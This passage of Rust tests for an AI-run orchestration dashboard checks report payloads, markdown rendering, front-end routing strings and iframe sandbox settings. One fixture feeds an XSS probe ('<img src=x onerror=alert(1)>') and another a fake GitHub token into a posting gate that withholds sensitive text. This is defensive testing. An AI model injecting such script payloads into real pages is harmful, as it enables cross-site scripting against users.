21220        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
21221
21222        // A run with empty deliberation array yields empty rounds
21223        let id_empty = "20260902-140504-nodelib";
21224        write_run(&f.runs(), id_empty, RunStatus::Merged);
21225        let path_empty = f.runs().join(id_empty).join("run.json");
21226        let mut v_empty: serde_json::Value =
21227            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
21228        v_empty["judgements"] = serde_json::json!([
21229            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21230        ]);
21231        v_empty["deliberation"] = serde_json::json!([]);
21232        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
21233
21234        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
21235        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
21236        let j_empty = res_empty.json();
21237        let judging_empty = j_empty["sections"]
21238            .as_array()
21239            .unwrap()
21240            .iter()
21241            .find(|s| s["kind"] == "judging")
21242            .expect("judging section exists");
21243        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
21244    }
21245
21246    #[tokio::test]
21247    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
21248        let f = Fixture::start().await;
21249
21250        let html = f.get("/").await;
21251        let css = f.get("/app.css").await;
21252        let js = f.get("/app.js").await;
21253
21254        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
21255        assert!(
21256            html.headers
21257                .contains("content-type: text/html; charset=utf-8")
21258        );
21259        assert!(css.headers.contains("content-type: text/css"));
21260        assert!(js.headers.contains("content-type: text/javascript"));
21261        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
21262    }
21263
21264    #[test]
21265    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
21266        let body = |name: &str| {
21267            let at = APP_JS
21268                .find(name)
21269                .unwrap_or_else(|| panic!("{name} missing"));
21270            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21271        };
21272        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
21273        let note = body("function landRoundNote");
21274        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
21275        assert!(note.contains("Land round ${round}"));
21276        let land = body("function renderLand");
21277        let note_at = land
21278            .find("landRoundNote(pr)")
21279            .expect("renderLand uses the note");
21280        assert!(
21281            note_at
21282                < land
21283                    .find("roundRail(pr)")
21284                    .expect("renderLand uses the rail")
21285        );
21286    }
21287
21288    #[test]
21289    fn the_runs_page_redesign_keeps_its_guards() {
21290        let body = |name: &str| {
21291            let at = APP_JS
21292                .find(name)
21293                .unwrap_or_else(|| panic!("{name} missing"));
21294            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21295        };
21296        // A null child must never reach the native append (it prints "null").
21297        let land = body("function renderLand");
21298        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
21299        assert!(
21300            !land.contains("box.append("),
21301            "renderLand must use append()"
21302        );
21303        assert!(land.contains("append(box, ["));
21304        // Tabs are hash routes; the run id alone decides a reload.
21305        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
21306        assert!(
21307            body("function applyRoute")
21308                .contains("route.name !== state.route.name || route.id !== state.route.id")
21309        );
21310        // The decorative diagram is gone, the strip and its guards stay.
21311        assert!(!APP_JS.contains("adviseConvergeDiagram"));
21312        assert!(!INDEX_HTML.contains("advise-converge"));
21313        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
21314        assert!(APP_JS.contains("provisional"));
21315        for id in [
21316            "run-tab-overview",
21317            "run-tab-timeline",
21318            "run-tab-report",
21319            "run-report",
21320            "runs-scope",
21321        ] {
21322            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
21323        }
21324        assert!(!INDEX_HTML.contains("runs-tree"));
21325        assert!(!INDEX_HTML.contains("run-raw-panel"));
21326        // Fold still says it cannot be resumed.
21327        assert!(APP_JS.contains("resume"));
21328        // The unreadable-runs count stays on the page.
21329        assert!(APP_JS.contains("unreadable"));
21330    }
21331
21332    #[test]
21333    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
21334        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
21335        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
21336        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
21337        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
21338        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
21339        // The subtitle still counts them whatever the banner does.
21340        assert!(APP_JS.contains("unreadable` : null"));
21341    }
21342
21343    #[test]
21344    fn blocked_run_detail_exposes_the_failed_gate_reason() {
21345        let mut state = RunState::new(
21346            "/repo".into(),
21347            "main".into(),
21348            "abc".into(),
21349            "task".into(),
21350            crate::config::Config::default(),
21351        );
21352        state.status = RunStatus::Blocked;
21353        state.gate_ran = true;
21354        state.gate.push(crate::run::CommandOutcome {
21355            command: "cargo make check".into(),
21356            code: Some(1),
21357            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
21358            duration_ms: 0,
21359            resource_blocked: false,
21360        });
21361        let view = RunDetailView::of(
21362            state,
21363            false,
21364            crate::run::Liveness::Unknown,
21365            None,
21366            None,
21367            None,
21368        );
21369        let value = serde_json::to_value(view).unwrap();
21370        assert_eq!(
21371            value["stop_reason"],
21372            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
21373        );
21374    }
21375
21376    #[test]
21377    fn the_run_detail_payload_says_whether_the_run_is_done() {
21378        // `landView` reads `run.done`; the detail response must carry it.
21379        for (status, done) in [
21380            (RunStatus::Superseded, true),
21381            (RunStatus::Blocked, true),
21382            (RunStatus::Landing, false),
21383        ] {
21384            let mut state = RunState::new(
21385                std::path::PathBuf::from("/repo"),
21386                "main".to_owned(),
21387                "abc".to_owned(),
21388                "x".to_owned(),
21389                crate::config::Config::default(),
21390            );
21391            state.status = status;
21392            let v = serde_json::to_value(RunDetailView::of(
21393                state,
21394                false,
21395                crate::run::Liveness::Unknown,
21396                None,
21397                None,
21398                None,
21399            ))
21400            .unwrap();
21401            assert_eq!(v["done"], done, "{status:?}");
21402        }
21403    }
21404
21405    /// The first node of a markdown block holds a `strong` somewhere.
21406    fn has_strong(nodes: &[md::Node]) -> bool {
21407        serde_json::to_string(nodes).unwrap().contains("strong")
21408    }
21409
21410    #[test]
21411    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
21412        let mut state = RunState::new(
21413            std::path::PathBuf::from("/repo"),
21414            "main".to_owned(),
21415            "abc".to_owned(),
21416            "x".to_owned(),
21417            crate::config::Config::default(),
21418        );
21419        let proposal = |approach: &str| {
21420            serde_json::json!({
21421                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21422            })
21423        };
21424        state.advice = Some(
21425            serde_json::from_value(serde_json::json!({
21426                "records": [
21427                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21428                     "proposal": proposal("do **this**")},
21429                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21430                ],
21431                "synthesis": "- one\n- **two**\n\n`code`",
21432            }))
21433            .unwrap(),
21434        );
21435        state.candidates = serde_json::from_value(serde_json::json!([
21436            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21437             "summary": "did **it**"},
21438            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21439        ]))
21440        .unwrap();
21441        // Recorded in ascending severity, the reverse of how the page sorts
21442        // them: the arrays must follow the record, not the display.
21443        state.reviews = serde_json::from_value(serde_json::json!([{
21444            "round": 1, "head": "h",
21445            "reviews": [{
21446                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21447                "findings": [
21448                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
21449                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21450                ],
21451            }],
21452            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21453            "fix": {"agent": "a", "notes": "fixed **it**",
21454                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21455        }, {"round": 2, "head": "h2", "reviews": []}]))
21456        .unwrap();
21457
21458        let v = serde_json::to_value(RunDetailView::of(
21459            state,
21460            false,
21461            crate::run::Liveness::Unknown,
21462            None,
21463            None,
21464            None,
21465        ))
21466        .unwrap();
21467
21468        let strong = |p: &str| {
21469            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21470            assert!(n.to_string().contains("strong"), "{p}: {n}");
21471        };
21472        strong("/advice_md/synthesis");
21473        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21474        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21475        strong("/advice_md/approaches/0");
21476        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21477        strong("/candidate_summaries_md/0");
21478        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21479        strong("/reviews_md/0/reviewers/0/summary");
21480        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21481        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21482        assert!(f[1].to_string().contains("strong"));
21483        strong("/reviews_md/0/reconsideration/0");
21484        strong("/reviews_md/0/fix/notes");
21485        strong("/reviews_md/0/fix/rejected/0");
21486        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21487        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21488        // The raw strings stay, and no schema moved.
21489        assert_eq!(v["candidates"][0]["summary"], "did **it**");
21490        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21491    }
21492
21493    #[test]
21494    fn a_run_without_advice_has_no_advice_md() {
21495        let state = RunState::new(
21496            std::path::PathBuf::from("/repo"),
21497            "main".to_owned(),
21498            "abc".to_owned(),
21499            "x".to_owned(),
21500            crate::config::Config::default(),
21501        );
21502        let p = run_prose_md(&state);
21503        assert!(p.advice_md.is_none());
21504        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21505    }
21506
21507    #[test]
21508    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21509        let store = ask::Questions::at(PathBuf::from("unused"));
21510        let gt = crate::github_text::Withheld {
21511            title: false,
21512            body: true,
21513            categories: vec!["sensitive-data".into()],
21514        };
21515        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21516        let (detail, comparison) =
21517            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21518        let mut q = Question::new(
21519            "r".into(),
21520            "github-text".into(),
21521            "posting-gate".into(),
21522            "s".into(),
21523            detail,
21524            Vec::new(),
21525        );
21526        assert!(
21527            QuestionView::of(q.clone(), &store, None)
21528                .posting_view
21529                .is_none()
21530        );
21531        q.posting_comparison = Some(comparison);
21532        let view = QuestionView::of(q.clone(), &store, None);
21533        let field = &view.posting_view.unwrap().fields[0];
21534        assert_eq!(
21535            field
21536                .original
21537                .iter()
21538                .map(|f| f.text.as_str())
21539                .collect::<String>(),
21540            body
21541        );
21542        assert!(field.original[0].text.starts_with("<img"));
21543        let original_question: Question =
21544            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21545        assert_eq!(original_question, q);
21546        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21547            .original
21548            .start = 1;
21549        assert!(
21550            QuestionView::of(q.clone(), &store, None)
21551                .posting_view
21552                .is_none()
21553        );
21554        q.posting_comparison = original_question.posting_comparison;
21555        q.detail.push_str("extra context");
21556        assert!(
21557            QuestionView::of(q.clone(), &store, None)
21558                .posting_view
21559                .is_some()
21560        );
21561        q.detail.insert(0, 'x');
21562        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21563    }
21564
21565    #[test]
21566    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21567        let store = ask::Questions::at(PathBuf::from("unused"));
21568        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21569        let gt = crate::github_text::Withheld::from_check(
21570            &crate::github_text::check("fix: x", body),
21571            "fix: x",
21572            body,
21573        )
21574        .unwrap();
21575        let (detail, comparison) =
21576            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21577        let mut q = Question::new(
21578            "r".into(),
21579            "github-text".into(),
21580            "posting-gate".into(),
21581            "s".into(),
21582            detail,
21583            Vec::new(),
21584        );
21585        q.posting_comparison = Some(comparison);
21586        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21587        let field = &value["posting_view"]["fields"][0];
21588        let group = &field["replacement_group"];
21589        let triggers = group["triggers"].as_array().unwrap();
21590        assert_eq!(triggers.len(), 2);
21591        assert_ne!(triggers[0], triggers[1]);
21592        for id in triggers {
21593            assert!(
21594                field["original"]
21595                    .as_array()
21596                    .unwrap()
21597                    .iter()
21598                    .any(|f| &f["pair"] == id)
21599            );
21600            assert!(
21601                !field["changed"]
21602                    .as_array()
21603                    .unwrap()
21604                    .iter()
21605                    .any(|f| &f["pair"] == id)
21606            );
21607        }
21608        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21609            group["id"].as_u64().unwrap() as usize;
21610        assert!(
21611            QuestionView::of(q, &store, None).posting_view.is_none(),
21612            "group and trigger IDs cannot collide"
21613        );
21614    }
21615
21616    #[test]
21617    fn a_question_view_carries_markdown_for_each_thread_turn() {
21618        let home = TempDir::new().unwrap();
21619        let store = ask::Questions::at(home.path().join("questions"));
21620        let mut q = Question::new(
21621            "run".to_owned(),
21622            "implement".to_owned(),
21623            "impl-A".to_owned(),
21624            "which?".to_owned(),
21625            String::new(),
21626            Vec::new(),
21627        );
21628        q.say("plain words").unwrap();
21629        q.reply("use **this**", Vec::new()).unwrap();
21630        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21631        let bodies = &v["thread_bodies_md"];
21632        assert_eq!(bodies.as_array().unwrap().len(), 2);
21633        assert!(!bodies[0].to_string().contains("strong"));
21634        assert!(bodies[1].to_string().contains("strong"));
21635    }
21636
21637    #[test]
21638    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21639        let home = TempDir::new().unwrap();
21640        let store = ask::Questions::at(home.path().join("questions"));
21641        let mut q = Question::new(
21642            "run".to_owned(),
21643            "conduct".to_owned(),
21644            "conduct".to_owned(),
21645            "which?".to_owned(),
21646            String::new(),
21647            Vec::new(),
21648        );
21649        q.say("plain words").unwrap();
21650        q.thread.push(ask::Turn {
21651            who: ask::Who::Agent,
21652            body: "Settled as `merge`".to_owned(),
21653            at: jiff::Timestamp::now(),
21654            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21655        });
21656        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21657        let notes = &v["thread_notes_md"];
21658        assert_eq!(notes.as_array().unwrap().len(), 2);
21659        assert!(notes[0].is_null());
21660        let text = notes[1].to_string();
21661        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21662        assert!(APP_JS.contains("ask-turn-note"));
21663    }
21664
21665    #[test]
21666    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21667        // The land panel defers to `run.status` for merged, and labels a
21668        // recorded-open PR on any finished run (superseded, blocked, ...) as
21669        // last seen, never as live state.
21670        assert!(APP_JS.contains("function landView(run, raw) {"));
21671        assert!(
21672            APP_JS.contains(
21673                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21674            )
21675        );
21676        assert!(APP_JS.contains("const pr = landView(run, raw);"));
21677        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21678        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21679        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21680    }
21681
21682    #[test]
21683    fn live_runs_are_never_hidden_or_folded_as_superseded() {
21684        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
21685        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21686        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21687        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21688    }
21689
21690    #[test]
21691    fn review_rounds_label_a_distinct_verified_head() {
21692        assert!(APP_JS.contains("round.verified_head"));
21693        assert!(APP_JS.contains("verified HEAD"));
21694        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21695    }
21696
21697    #[test]
21698    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21699        // A blocked task's chip and note must not fall back to a queued-like
21700        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
21701        // itself by e11fc58 but never checked here.
21702        assert!(APP_JS.contains("blocked: { glyph:"));
21703        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21704
21705        // `blocked_by` mixes task ids and question ids in the same list, and
21706        // the client can only tell them apart by checking each id against
21707        // what it actually knows - never by guessing from the id's shape.
21708        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21709        assert!(
21710            APP_JS.contains(
21711                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21712            ),
21713            "the note line must name what a blocked task is waiting on, not just that it is blocked"
21714        );
21715        // The classification must key off `status_str`, never off `blocked_by`
21716        // or `block_reason` merely being present - both can survive briefly
21717        // on a task a hold or a dead daemon just moved off `blocked`.
21718        assert!(APP_JS.contains("if (status === \"blocked\") {"));
21719
21720        // A question a task is blocked on gets its own node in the same
21721        // dependency graph, not just a task-shaped node with nothing known
21722        // about it.
21723        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21724        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21725        assert!(
21726            APP_JS.contains("location.hash = \"#/questions\";"),
21727            "a question node must jump to the Questions screen, not pretend to be a task"
21728        );
21729
21730        // `Task::answers` - decisions already made - are shown as a record on
21731        // the card, the same disclosure style as the full instruction.
21732        assert!(APP_JS.contains("Resolved questions"));
21733        assert!(APP_JS.contains("r.answersList.append("));
21734        assert!(APP_CSS.contains(".task-answers"));
21735        {
21736            let start = APP_JS
21737                .find("function updateTalkTaskRow")
21738                .expect("updateTalkTaskRow");
21739            let body = &APP_JS[start..];
21740            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21741            assert!(
21742                body.contains(
21743                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21744                ),
21745                "a chat-filed task row must link to the task page"
21746            );
21747            assert!(
21748                !body.contains("#/runs/") && !body.contains("#/queue/"),
21749                "the row must not branch to a run or the queue card"
21750            );
21751            assert!(APP_CSS.contains(".talk-task-link"));
21752        }
21753    }
21754
21755    #[test]
21756    fn a_task_notification_links_to_the_task_page() {
21757        // A task notice opens the task detail page, not the Backlog card.
21758        let start = APP_JS
21759            .find("function noticeLink(")
21760            .expect("noticeLink exists");
21761        let body = &APP_JS[start..];
21762        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21763        assert!(
21764            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21765            "a task notice's link must target the task page"
21766        );
21767        assert!(
21768            !body.contains("#/queue/"),
21769            "regression: the task link must not go back to the Backlog route"
21770        );
21771        assert!(
21772            APP_JS.contains(
21773                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21774            ),
21775            "`#/tasks/<id>` must parse into the task route"
21776        );
21777
21778        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
21779        assert!(
21780            APP_JS.contains(
21781                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21782            ),
21783            "`#/queue/<id>` must parse into a route carrying that id"
21784        );
21785
21786        // And the Backlog view has to actually land on the card once it can
21787        // - see consumeQueueFocus(), which renderQueue() calls on every pass
21788        // so a focus set before the queue has loaded is retried once it has.
21789        assert!(APP_JS.contains("state.queueFocus = route.id;"));
21790        assert!(APP_JS.contains("function consumeQueueFocus()"));
21791        assert!(APP_JS.contains("jumpToTask(id)"));
21792    }
21793
21794    #[test]
21795    fn notifications_distinguish_actionable_questions_from_informational_notices() {
21796        let start = APP_JS
21797            .find("function noticeCoveredBy(")
21798            .expect("noticeCoveredBy exists");
21799        let body = &APP_JS[start..];
21800        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21801
21802        // Historical associations are informational, even for open questions.
21803        assert!(body.contains("Associated question ${short}"));
21804        assert!(!body.contains("el(\"a\""));
21805
21806        // A resolved question displays status rather than an actionable link
21807        assert!(body.contains("(resolved)"));
21808        assert!(body.contains("(closed)"));
21809
21810        let start = APP_JS
21811            .find("function renderNotifications()")
21812            .expect("renderNotifications exists");
21813        let body = &APP_JS[start..];
21814        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21815
21816        // Only a server-resolved answerable question supplies a response link.
21817        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21818        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21819        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
21820        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21821    }
21822
21823    /// Chat rows are two lines at every width: the title alone, then the
21824    /// shrinkable secondary info.
21825    #[test]
21826    fn chat_rows_put_the_title_alone_on_the_first_line() {
21827        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
21828        assert!(APP_CSS.contains(
21829            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21830        ));
21831        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21832        assert!(APP_JS.contains("class: \"badge talk-unread\""));
21833    }
21834
21835    #[test]
21836    fn run_rows_put_the_title_alone_on_the_first_line() {
21837        assert!(
21838            APP_CSS.contains(
21839                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
21840            )
21841        );
21842        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21843        assert!(APP_JS.contains("class: \"card run-card\""));
21844        assert!(APP_JS.contains("class: \"repo run-id\""));
21845    }
21846
21847    /// Wide screens get a master/detail layout built from the views a phone
21848    /// drills into. These are string assertions: they pin the contract between
21849    /// the three assets, not how it looks.
21850    #[test]
21851    fn wide_screens_show_list_and_preview_side_by_side() {
21852        // One breakpoint, spelled the same in the script and the stylesheet.
21853        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21854        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21855        assert!(APP_CSS.contains("main[data-split]"));
21856        assert!(APP_CSS.contains("body[data-split]"));
21857
21858        // The route -> panes table, and a narrow screen opting out of it.
21859        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
21860        assert!(
21861            APP_JS.contains(
21862                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21863            )
21864        );
21865        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21866        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21867        assert!(INDEX_HTML.contains("id=\"split-empty\""));
21868
21869        // Selection is derived from the route, and only ever paints a row.
21870        assert!(APP_JS.contains("function markSelected() {"));
21871        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21872        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21873        // The dense row must override the stacked card the 720px block sets up.
21874        assert!(
21875            APP_CSS.contains(
21876                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21877            )
21878        );
21879
21880        // Independent scrolling: the page stops scrolling, each pane does.
21881        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21882        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21883        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21884        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21885
21886        // A refresh must never navigate: the loaders still check that their
21887        // subject is the one on screen, and crossing the breakpoint only
21888        // re-reads the hash.
21889        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21890        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21891        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21892        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21893
21894        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
21895        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21896    }
21897
21898    #[test]
21899    fn panel_sandbox_carries_exactly_popups() {
21900        let needle = "sandbox: \"";
21901        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21902        assert_eq!(
21903            matches.len(),
21904            1,
21905            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21906        );
21907        let start = matches[0].0 + needle.len();
21908        let end = APP_JS[start..]
21909            .find('"')
21910            .expect("sandbox attribute value must be terminated by a closing quote");
21911        let val = &APP_JS[start..start + end];
21912        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21913        let expected: std::collections::BTreeSet<&str> =
21914            ["allow-popups", "allow-popups-to-escape-sandbox"]
21915                .into_iter()
21916                .collect();
21917        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21918        assert!(
21919            !tokens.contains("allow-scripts"),
21920            "allow-scripts must never be present in sandbox"
21921        );
21922        assert!(
21923            !tokens.contains("allow-same-origin"),
21924            "allow-same-origin must never be present in sandbox"
21925        );
21926    }
21927
21928    #[test]
21929    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21930        // consumeQueueFocus() clears an active Backlog search before it can
21931        // scroll to the target card (the sections list is hidden while a
21932        // search is showing), by recursing back into renderQueue(). The
21933        // fixer's first cut nulled state.queueFocus before that recursive
21934        // call, so the second pass saw nothing to jump to and the jump was
21935        // silently dropped whenever a notification's link was opened with a
21936        // stale search still active. state.queueFocus must only be cleared
21937        // right before jumpToTask() actually runs.
21938        assert!(
21939            APP_JS.contains(
21940                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
21941            ),
21942            "the search-clearing branch must run before state.queueFocus is cleared, or the \
21943             recursive renderQueue() call has nothing left to jump to"
21944        );
21945        assert!(
21946            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21947            "state.queueFocus must be cleared only once the jump has landed, so a card that \
21948             arrives later still gets it"
21949        );
21950        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21951        assert!(APP_JS.contains("is not in the current Backlog."));
21952        assert!(APP_JS.contains("li.card[data-task-id=\""));
21953        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21954        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21955        assert!(APP_CSS.contains(".card-permalink"));
21956        assert!(APP_CSS.contains(".queue-focus-status"));
21957        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21958    }
21959
21960    #[test]
21961    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21962        // The task's own repro: only the link text inside .notice-meta was
21963        // clickable, so a tap on the message, the timestamp, or the card's
21964        // padding did nothing - on a phone that reads as "the card doesn't
21965        // work" even though the tiny link inside it did. Mark read / Dismiss
21966        // must keep working independently of this: `.closest("a, button")`
21967        // is what lets a tap that actually lands on those elements fall
21968        // through instead of being hijacked into a navigation.
21969        assert!(
21970            APP_JS.contains(
21971                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21972            ),
21973            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21974        );
21975    }
21976
21977    #[test]
21978    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21979        assert!(
21980            APP_JS.contains("round.verified_head !== round.head"),
21981            "a round that verified an earlier commit must be visibly distinct from one that \
21982             verified the head reviewers are looking at now"
21983        );
21984        assert!(
21985            APP_JS.contains("round.verified_at"),
21986            "when a check ran must be on the wire, not just which commit"
21987        );
21988        assert!(
21989            APP_JS.contains("resource_blocked"),
21990            "a command magi never got to run (shared build cache contention) must not render \
21991             the same as a command that ran and failed"
21992        );
21993    }
21994
21995    #[test]
21996    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21997        // Every KPI tile but Total runs and Completion names an exact
21998        // RunStatus and hands it to openRunsFiltered(), which is what wires
21999        // the click into state.runsFilter.status (matchesFilter's own
22000        // status check) rather than the coarser runsStateFilter chips. Each
22001        // status literal here must be one of the strings runSection() (and
22002        // isStale()) actually compare a run's own `status` field against -
22003        // a status this dashboard invented would filter to nothing.
22004        assert!(
22005            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22006            "every KPI tile built through statusTile() must route its click through \
22007             openRunsFiltered, the single place that sets the Runs filter"
22008        );
22009        for (label, status) in [
22010            ("Merged", "merged"),
22011            ("Ready", "ready"),
22012            ("Blocked", "blocked"),
22013            ("Stalled", "stalled"),
22014        ] {
22015            let call = format!("statusTile(\"{label}\", t.{status}, ");
22016            assert!(
22017                APP_JS.contains(&call),
22018                "expected the {label} KPI tile built via {call}..."
22019            );
22020            assert!(
22021                APP_JS.contains(&format!("status === \"{status}\"")),
22022                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22023                 compare a run against, not one invented only for the stats tile"
22024            );
22025        }
